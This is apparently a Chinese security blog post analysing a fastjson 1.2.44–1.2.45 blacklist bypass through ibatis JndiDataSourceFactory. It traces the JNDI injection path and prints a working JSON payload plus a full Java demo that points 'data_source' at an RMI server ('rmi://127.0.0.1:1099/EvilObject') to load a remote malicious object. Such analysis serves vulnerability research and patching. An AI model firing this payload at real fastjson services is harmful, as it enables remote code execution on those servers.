0%

FastJson反序列化回顾系列(五)

1.2.44版本中对L[开头的情况进行了防御,使得在1.2.44版本时并没有出现任何的checkAutoType的绕过。但是却出现了对于黑名单的绕过。本篇文章对此进行深入的分析。

整个复现系列的payload放在了github上。

漏洞信息

影响版本

  • 1.2.44 <= fastjson <= 1.2.45
  • fastjson <= 1.2.43 (也可成立,需要添加ibatis第三方包,而在前面的版本中无需ibatis包也可RCE)

利用条件

  • 打开autoType
  • 具备ibatis第三方包

漏洞分析

黑名单的绕过是使用了org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这个类,使用这个类需要额外的加入ibatis第三方包。由于ibatis在项目中也经常使用,所以影响范围广。

先来看看这个类,定位到setProperties()函数,如下所示:

在该函数中我们可以看到,有着JNDI注入的完整的一套。接下来看看uri即properties.getProperty("data_source")是否可控。那就需要在整个的过程中也反序列化getProperties()传入的参数。定位到该函数

在该函数中会调用父类即HashMap.get(‘data_source’),获取到值。因此,传入的Properties为一个具有"data_source":"rmi://127.0.0.1:1099/EvilObject"key-value对的HashMap即可。

EXP构造

JndiDataSourceFactory

根据以上分析,可得出EXP为:

1
2
3
4
5
6
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"rmi://127.0.0.1:1099/EvilObject"
}
}

完整的demo为

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

//@dependency{fastjson:1.2.44-1.2.45,ibatis}
public class jndiDataSourcefactory {
public static void main(String args[]) {
String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://127.0.0.1:1099/EvilObject\"}}";
ParserConfig config = new ParserConfig();
config.getGlobalInstance().setAutoTypeSupport(true);
Object res = JSON.parse(payload);

}
}

补丁

补丁就是增加了黑名单

参考